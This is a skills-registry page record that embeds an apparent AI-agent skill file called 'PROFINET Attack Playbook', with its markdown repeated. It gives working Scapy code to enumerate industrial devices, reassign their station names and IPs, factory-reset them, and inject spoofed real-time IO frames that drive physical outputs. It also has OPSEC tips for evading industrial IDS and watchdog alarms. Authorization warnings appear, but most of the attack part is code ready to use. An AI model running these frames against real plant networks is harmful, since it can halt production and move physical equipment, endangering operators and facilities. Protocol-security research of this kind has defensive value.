[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFJACSF268H1HTCH2MZRMD":3,"skill-same:01M7DFJACSF268H1HTCH2MZRMD":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFJACSF268H1HTCH2MZRMD","profinet",null,"PROFINET (L2 EtherType 0x8892 \u002F DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection\u002Freplay for cyclic-IO spoofing. Siemens\u002FEU fieldbus peer of S7Comm; requires same L2 broadcast domain.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fprofinet\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: profinet\ndescription: \"PROFINET (L2 EtherType 0x8892 \u002F DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection\u002Freplay for cyclic-IO spoofing. Siemens\u002FEU fieldbus peer of S7Comm; requires same L2 broadcast domain.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset\"\n  subdomain: ics-ot\n  tags: profinet, dcp, siemens, ics, ot, fieldbus\n  mitre_attack: T0842, T0846, T0814, T0816\n---\n\n# PROFINET Attack Playbook (EtherType 0x8892 \u002F DCP)\n\nPROFINET is the dominant European\u002FSiemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet\u002FIP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. **The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN\u002FTAP into it).** DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.\n\n## SAFETY FIRST\n\nDCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to `BF` (Bus Fault) state and the process typically enters a safe\u002Fhalt state or continues with the last-known values depending on watchdog configuration. **This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection.** DCP Identify (read) is safe.\n\n## Prerequisites\n\n- Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI\u002Fengineering workstation on the same VLAN).\n- Wireshark with `pn_dcp` dissector (ships by default — filter: `pn_dcp`).\n- Python with `scapy` for DCP crafting (or `python-profinet` library).\n\n```bash\n# Verify interface sees PROFINET frames\nsudo tcpdump -i eth0 ether proto 0x8892 -c 20\n# If frames appear: you are on the OT segment\n\n# Install scapy (already on Kali)\npip install scapy\n\n# python-profinet (alternative higher-level library)\npip install profinet\n```\n\n## Phase 1 — Discover: DCP Identify-All broadcast\n\nDCP Identify-All is a Layer-2 broadcast to `01:0E:CF:00:00:00` (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.\n\n### Wireshark passive discovery\n\n```bash\n# Capture DCP traffic — Identify requests and responses\nsudo wireshark -i eth0 -f \"ether proto 0x8892\" -k\n# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)\n# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1\n```\n\n### Active DCP Identify-All broadcast (Scapy)\n\n```python\nfrom scapy.all import Ether, sendp, sniff\nimport struct, socket, time\n\nPROFINET_ETHERTYPE = 0x8892\nDCP_MULTICAST_MAC = \"01:0e:cf:00:00:00\"\nIFACE = \"eth0\"  # replace with your OT interface\n\ndef build_dcp_identify_all(xid=1):\n    \"\"\"Build a PROFINET DCP Identify-All request frame.\"\"\"\n    # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)\n    frame_id = struct.pack(\">H\", 0xFEFE)\n    # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x05,   # ServiceID: Identify\n        0x00,   # ServiceType: Request\n        xid,    # XID\n        0x0000, # Reserved\n        0x0000, # ResponseDelay (0=immediate broadcast)\n        0x0004, # DCPDataLength (4 bytes for the suboption block)\n    )\n    # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0\n    dcp_block = struct.pack(\">BBH\", 0xFF, 0xFF, 0x0000)\n\n    payload = frame_id + dcp_header + dcp_block\n    frame = Ether(dst=DCP_MULTICAST_MAC, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n    return frame\n\ndef dcp_identify_all(iface=IFACE, timeout=3):\n    frame = build_dcp_identify_all()\n    sendp(frame, iface=iface, verbose=False)\n    print(f\"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...\")\n\n    responses = sniff(\n        iface=iface,\n        filter=f\"ether proto {hex(PROFINET_ETHERTYPE)}\",\n        timeout=timeout,\n        count=200,\n    )\n    devices = []\n    for pkt in responses:\n        raw = bytes(pkt.payload)\n        frame_id = struct.unpack(\">H\", raw[:2])[0]\n        if frame_id == 0xFEFE and len(raw) > 10:\n            # This is a DCP response — parse it\n            src_mac = pkt.src\n            # Extract NameOfStation from block (simple heuristic parse)\n            # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable\n            devices.append({\"mac\": src_mac, \"raw_len\": len(raw)})\n            print(f\"  Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details\")\n    return devices\n\ndcp_identify_all()\n```\n\n### Using Siemens STEP 7 \u002F TIA Portal (if available on compromised engineering workstation)\n\nTIA Portal's \"Accessible Devices\" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.\n\n## Phase 2 — Device fingerprinting: DCP Get\n\nDCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device \u002F IO-Controller \u002F IO-Supervisor).\n\n```python\nfrom scapy.all import Ether, sendp, sniff\nimport struct\n\nPROFINET_ETHERTYPE = 0x8892\nIFACE = \"eth0\"\n\ndef build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):\n    \"\"\"\n    DCP Get Request for a specific block.\n    option 0x01 suboption 0x01 = NameOfStation\n    option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)\n    option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)\n    option 0x02 suboption 0x05 = DeviceOptions\n    \"\"\"\n    frame_id = struct.pack(\">H\", 0xFEFD)  # 0xFEFD = DCP Get\u002FSet\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x03,          # ServiceID: Get\n        0x00,          # ServiceType: Request\n        xid,\n        0x0000,\n        0x0000,\n        0x0004,        # DCPDataLength\n    )\n    dcp_block = struct.pack(\">BBH\", option, suboption, 0x0000)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# Get station name from device with known MAC\n# frame = build_dcp_get(\"aa:bb:cc:dd:ee:ff\", option=0x01, suboption=0x01)\n# sendp(frame, iface=IFACE, verbose=False)\n# capture response with sniff(iface=IFACE, filter=f\"ether src aa:bb:cc:dd:ee:ff ...\", timeout=2)\n```\n\n## Phase 3 — Flash-LED (physical device location)\n\nDCP Set with `Suboption=Signal` causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.\n\n```python\ndef build_dcp_flash_led(dst_mac, xid=10):\n    \"\"\"DCP Set Signal — blink device LED (physical locate).\"\"\"\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    # Block: Option=0x05 (Control), Suboption=0x03 (Signal)\n    # BlockQualifier=0x0000, SignalValue=0x0100 (blink)\n    dcp_block = struct.pack(\">BBHHh\", 0x05, 0x03, 0x0004, 0x0000, 0x0100)\n    dcp_data_len = len(dcp_block)\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x04,  # ServiceID: Set\n        0x00,  # ServiceType: Request\n        xid,\n        0x0000,\n        0x0000,\n        dcp_data_len,\n    )\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# sendp(build_dcp_flash_led(\"aa:bb:cc:dd:ee:ff\"), iface=IFACE)\n```\n\n## Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)\n\n> **STOP. All DCP Set operations below are write-class and require explicit scope authorization.**\n> Station-name change and IP change immediately disrupt process communication.\n\n### Station-name reassignment (process disruption)\n\nWhen a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to `BF` (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.\n\n```python\ndef build_dcp_set_station_name(dst_mac, new_name, xid=20):\n    \"\"\"\n    DCP Set NameOfStation.\n    Option=0x01, Suboption=0x01 (NameOfStation).\n    new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)\n    \"\"\"\n    name_bytes = new_name.encode(\"ascii\").lower()\n    # Pad to even length\n    if len(name_bytes) % 2:\n        name_bytes += b\"\\x00\"\n    block_len = len(name_bytes)\n    # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name\n    dcp_block = struct.pack(\">BBH\", 0x01, 0x01, block_len + 2) + struct.pack(\">H\", 0x0001) + name_bytes\n    total_len = len(dcp_block)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY:\n# sendp(build_dcp_set_station_name(\"aa:bb:cc:dd:ee:ff\", \"attacker-device\"), iface=IFACE)\n# After this, the original controller can no longer find \"original-station-name\"\n# The device enters BF state and may stop responding to IO controller.\n```\n\n### IP address reassignment\n\n```python\nimport ipaddress\n\ndef build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):\n    \"\"\"\n    DCP Set IPSuite.\n    Option=0x01, Suboption=0x02.\n    \"\"\"\n    ip_int  = int(ipaddress.IPv4Address(new_ip))\n    sub_int = int(ipaddress.IPv4Address(new_subnet))\n    gw_int  = int(ipaddress.IPv4Address(new_gateway))\n    dcp_block = struct.pack(\">BBH\", 0x01, 0x02, 14) + \\\n                struct.pack(\">H\", 0x0001) + \\\n                struct.pack(\">III\", ip_int, sub_int, gw_int)\n    total_len = len(dcp_block)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY:\n# sendp(build_dcp_set_ip(\"aa:bb:cc:dd:ee:ff\", \"192.168.1.99\", \"255.255.255.0\", \"192.168.1.1\"), iface=IFACE)\n```\n\n### Factory reset\n\nFactory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.\n\n```python\ndef build_dcp_factory_reset(dst_mac, xid=30):\n    \"\"\"\n    DCP Set Control\u002FFactoryReset.\n    Option=0x05, Suboption=0x04.\n    \"\"\"\n    dcp_block = struct.pack(\">BBH\", 0x05, 0x04, 0x0002) + struct.pack(\">H\", 0x0000)\n    total_len = len(dcp_block)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY — extremely disruptive:\n# sendp(build_dcp_factory_reset(\"aa:bb:cc:dd:ee:ff\"), iface=IFACE)\n```\n\n## Phase 5 — PROFINET RT frame injection \u002F cyclic IO spoofing\n\nPROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.\n\n```bash\n# Capture baseline cyclic IO traffic for a device pair\nsudo tcpdump -i eth0 -w \u002Ftmp\u002Fprofinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff\n# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id \u003C= 0xBFFF\n# Identify FrameID, CycleCounter pattern, DataLen for the target device\n```\n\n```python\nfrom scapy.all import Ether, sendp\nimport struct, time\n\ndef inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface=\"eth0\"):\n    \"\"\"\n    Inject a PROFINET RT cyclic data frame.\n    frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)\n    cycle_counter: Increment to match expected sequence (replay detection hint)\n    io_data: bytes — the cyclic process data payload (output values for the IO-device)\n    \"\"\"\n    # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)\n    rt_header = struct.pack(\">H\", frame_id)\n    rt_footer = struct.pack(\">HBB\", cycle_counter, 0x35, 0x00)\n    # DataStatus 0x35 = valid + running + no problem\n    payload = rt_header + io_data + rt_footer\n    frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) \u002F payload\n    sendp(frame, iface=iface, verbose=False)\n\n# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY\n# io_data = b\"\\x00\" * 4  # size must match actual IO module output size\n# inject_profinet_rt(\"aa:bb:cc:dd:ee:ff\", \"00:11:22:33:44:55\", 0x8001, 1234, io_data)\n```\n\n> Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital\u002Fanalog outputs) actuate per the injected data.\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor\u002Ffirmware\u002Fstation names |\n| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |\n| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |\n| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |\n| Flat IT\u002FOT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |\n| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |\n\n## Evidence\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"profinet-dcp::{iface}\",'\n    '  \"label\": \"PROFINET DCP unauthenticated device enumeration\",'\n    '  \"props\": {\"protocol\": \"profinet-dcp\",'\n    '            \"ethertype\": \"0x8892\",'\n    '            \"devices_found\": device_count,'\n    '            \"station_names\": station_names_list,  # list of discovered names'\n    '            \"dcp_set_accepted\": False,  # set True only after confirmed write-scope test'\n    '            \"source\": \"scapy-dcp-identify-all\",'\n    '            \"l2_segment\": iface}}]'\n)\n```\n\n## ZFP (two-method evidence)\n\n1. Wireshark capture (`.pcap`) containing DCP Identify responses, showing at least one device with decoded `NameOfStation`, `IPSuite`, and `VendorID` blocks.\n2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.\n\nIf write testing was authorized: include DCP Set response frame showing `BlockError=0x00` (Set accepted) and a follow-up DCP Get confirming the new station name or IP.\n\n## OPSEC notes\n\n- DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.\n- DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.\n- Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.\n- Name\u002FIP reassignment takes effect immediately. There is no \"preview\" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.\n- PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering `DataStatus` watchdog alarms on the IO-device.\n- Always record original station names and IPs before any DCP Set — document them in evidence for restoration.\n- Cross-reference `s7comm` skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read\u002Fwrite.\n\n## References\n\n- PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com\u002Ftechnology\u002Fprofinet\u002F\n- Wireshark `pn_dcp` and `pn_rt` dissectors — Wireshark PROFINET protocol documentation\n- Siemens Security Bulletins (SSA-*) — cert.siemens.com\n- ICS-CERT PROFINET advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- \"Hacking PROFINET\" — Alexander Bolshev, Black Hat 2013\n- Scapy Layer 2 documentation — scapy.readthedocs.io\n- python-profinet library — github.com\u002Fwandel\u002Fpython-profinet\n- Claroty PROFINET research briefs — claroty.com\u002Fresearch\n","# PROFINET Attack Playbook (EtherType 0x8892 \u002F DCP)\n\nPROFINET is the dominant European\u002FSiemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet\u002FIP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. **The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN\u002FTAP into it).** DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.\n\n## SAFETY FIRST\n\nDCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to `BF` (Bus Fault) state and the process typically enters a safe\u002Fhalt state or continues with the last-known values depending on watchdog configuration. **This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection.** DCP Identify (read) is safe.\n\n## Prerequisites\n\n- Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI\u002Fengineering workstation on the same VLAN).\n- Wireshark with `pn_dcp` dissector (ships by default — filter: `pn_dcp`).\n- Python with `scapy` for DCP crafting (or `python-profinet` library).\n\n```bash\n# Verify interface sees PROFINET frames\nsudo tcpdump -i eth0 ether proto 0x8892 -c 20\n# If frames appear: you are on the OT segment\n\n# Install scapy (already on Kali)\npip install scapy\n\n# python-profinet (alternative higher-level library)\npip install profinet\n```\n\n## Phase 1 — Discover: DCP Identify-All broadcast\n\nDCP Identify-All is a Layer-2 broadcast to `01:0E:CF:00:00:00` (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.\n\n### Wireshark passive discovery\n\n```bash\n# Capture DCP traffic — Identify requests and responses\nsudo wireshark -i eth0 -f \"ether proto 0x8892\" -k\n# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)\n# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1\n```\n\n### Active DCP Identify-All broadcast (Scapy)\n\n```python\nfrom scapy.all import Ether, sendp, sniff\nimport struct, socket, time\n\nPROFINET_ETHERTYPE = 0x8892\nDCP_MULTICAST_MAC = \"01:0e:cf:00:00:00\"\nIFACE = \"eth0\"  # replace with your OT interface\n\ndef build_dcp_identify_all(xid=1):\n    \"\"\"Build a PROFINET DCP Identify-All request frame.\"\"\"\n    # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)\n    frame_id = struct.pack(\">H\", 0xFEFE)\n    # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x05,   # ServiceID: Identify\n        0x00,   # ServiceType: Request\n        xid,    # XID\n        0x0000, # Reserved\n        0x0000, # ResponseDelay (0=immediate broadcast)\n        0x0004, # DCPDataLength (4 bytes for the suboption block)\n    )\n    # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0\n    dcp_block = struct.pack(\">BBH\", 0xFF, 0xFF, 0x0000)\n\n    payload = frame_id + dcp_header + dcp_block\n    frame = Ether(dst=DCP_MULTICAST_MAC, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n    return frame\n\ndef dcp_identify_all(iface=IFACE, timeout=3):\n    frame = build_dcp_identify_all()\n    sendp(frame, iface=iface, verbose=False)\n    print(f\"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...\")\n\n    responses = sniff(\n        iface=iface,\n        filter=f\"ether proto {hex(PROFINET_ETHERTYPE)}\",\n        timeout=timeout,\n        count=200,\n    )\n    devices = []\n    for pkt in responses:\n        raw = bytes(pkt.payload)\n        frame_id = struct.unpack(\">H\", raw[:2])[0]\n        if frame_id == 0xFEFE and len(raw) > 10:\n            # This is a DCP response — parse it\n            src_mac = pkt.src\n            # Extract NameOfStation from block (simple heuristic parse)\n            # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable\n            devices.append({\"mac\": src_mac, \"raw_len\": len(raw)})\n            print(f\"  Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details\")\n    return devices\n\ndcp_identify_all()\n```\n\n### Using Siemens STEP 7 \u002F TIA Portal (if available on compromised engineering workstation)\n\nTIA Portal's \"Accessible Devices\" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.\n\n## Phase 2 — Device fingerprinting: DCP Get\n\nDCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device \u002F IO-Controller \u002F IO-Supervisor).\n\n```python\nfrom scapy.all import Ether, sendp, sniff\nimport struct\n\nPROFINET_ETHERTYPE = 0x8892\nIFACE = \"eth0\"\n\ndef build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):\n    \"\"\"\n    DCP Get Request for a specific block.\n    option 0x01 suboption 0x01 = NameOfStation\n    option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)\n    option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)\n    option 0x02 suboption 0x05 = DeviceOptions\n    \"\"\"\n    frame_id = struct.pack(\">H\", 0xFEFD)  # 0xFEFD = DCP Get\u002FSet\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x03,          # ServiceID: Get\n        0x00,          # ServiceType: Request\n        xid,\n        0x0000,\n        0x0000,\n        0x0004,        # DCPDataLength\n    )\n    dcp_block = struct.pack(\">BBH\", option, suboption, 0x0000)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# Get station name from device with known MAC\n# frame = build_dcp_get(\"aa:bb:cc:dd:ee:ff\", option=0x01, suboption=0x01)\n# sendp(frame, iface=IFACE, verbose=False)\n# capture response with sniff(iface=IFACE, filter=f\"ether src aa:bb:cc:dd:ee:ff ...\", timeout=2)\n```\n\n## Phase 3 — Flash-LED (physical device location)\n\nDCP Set with `Suboption=Signal` causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.\n\n```python\ndef build_dcp_flash_led(dst_mac, xid=10):\n    \"\"\"DCP Set Signal — blink device LED (physical locate).\"\"\"\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    # Block: Option=0x05 (Control), Suboption=0x03 (Signal)\n    # BlockQualifier=0x0000, SignalValue=0x0100 (blink)\n    dcp_block = struct.pack(\">BBHHh\", 0x05, 0x03, 0x0004, 0x0000, 0x0100)\n    dcp_data_len = len(dcp_block)\n    dcp_header = struct.pack(\">BBHHHH\",\n        0x04,  # ServiceID: Set\n        0x00,  # ServiceType: Request\n        xid,\n        0x0000,\n        0x0000,\n        dcp_data_len,\n    )\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# sendp(build_dcp_flash_led(\"aa:bb:cc:dd:ee:ff\"), iface=IFACE)\n```\n\n## Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)\n\n> **STOP. All DCP Set operations below are write-class and require explicit scope authorization.**\n> Station-name change and IP change immediately disrupt process communication.\n\n### Station-name reassignment (process disruption)\n\nWhen a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to `BF` (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.\n\n```python\ndef build_dcp_set_station_name(dst_mac, new_name, xid=20):\n    \"\"\"\n    DCP Set NameOfStation.\n    Option=0x01, Suboption=0x01 (NameOfStation).\n    new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)\n    \"\"\"\n    name_bytes = new_name.encode(\"ascii\").lower()\n    # Pad to even length\n    if len(name_bytes) % 2:\n        name_bytes += b\"\\x00\"\n    block_len = len(name_bytes)\n    # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name\n    dcp_block = struct.pack(\">BBH\", 0x01, 0x01, block_len + 2) + struct.pack(\">H\", 0x0001) + name_bytes\n    total_len = len(dcp_block)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY:\n# sendp(build_dcp_set_station_name(\"aa:bb:cc:dd:ee:ff\", \"attacker-device\"), iface=IFACE)\n# After this, the original controller can no longer find \"original-station-name\"\n# The device enters BF state and may stop responding to IO controller.\n```\n\n### IP address reassignment\n\n```python\nimport ipaddress\n\ndef build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):\n    \"\"\"\n    DCP Set IPSuite.\n    Option=0x01, Suboption=0x02.\n    \"\"\"\n    ip_int  = int(ipaddress.IPv4Address(new_ip))\n    sub_int = int(ipaddress.IPv4Address(new_subnet))\n    gw_int  = int(ipaddress.IPv4Address(new_gateway))\n    dcp_block = struct.pack(\">BBH\", 0x01, 0x02, 14) + \\\n                struct.pack(\">H\", 0x0001) + \\\n                struct.pack(\">III\", ip_int, sub_int, gw_int)\n    total_len = len(dcp_block)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY:\n# sendp(build_dcp_set_ip(\"aa:bb:cc:dd:ee:ff\", \"192.168.1.99\", \"255.255.255.0\", \"192.168.1.1\"), iface=IFACE)\n```\n\n### Factory reset\n\nFactory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.\n\n```python\ndef build_dcp_factory_reset(dst_mac, xid=30):\n    \"\"\"\n    DCP Set Control\u002FFactoryReset.\n    Option=0x05, Suboption=0x04.\n    \"\"\"\n    dcp_block = struct.pack(\">BBH\", 0x05, 0x04, 0x0002) + struct.pack(\">H\", 0x0000)\n    total_len = len(dcp_block)\n    frame_id = struct.pack(\">H\", 0xFEFD)\n    dcp_header = struct.pack(\">BBHHHH\", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)\n    payload = frame_id + dcp_header + dcp_block\n    return Ether(dst=dst_mac, src=\"00:11:22:33:44:55\", type=PROFINET_ETHERTYPE) \u002F payload\n\n# AUTHORIZED TESTING ONLY — extremely disruptive:\n# sendp(build_dcp_factory_reset(\"aa:bb:cc:dd:ee:ff\"), iface=IFACE)\n```\n\n## Phase 5 — PROFINET RT frame injection \u002F cyclic IO spoofing\n\nPROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT 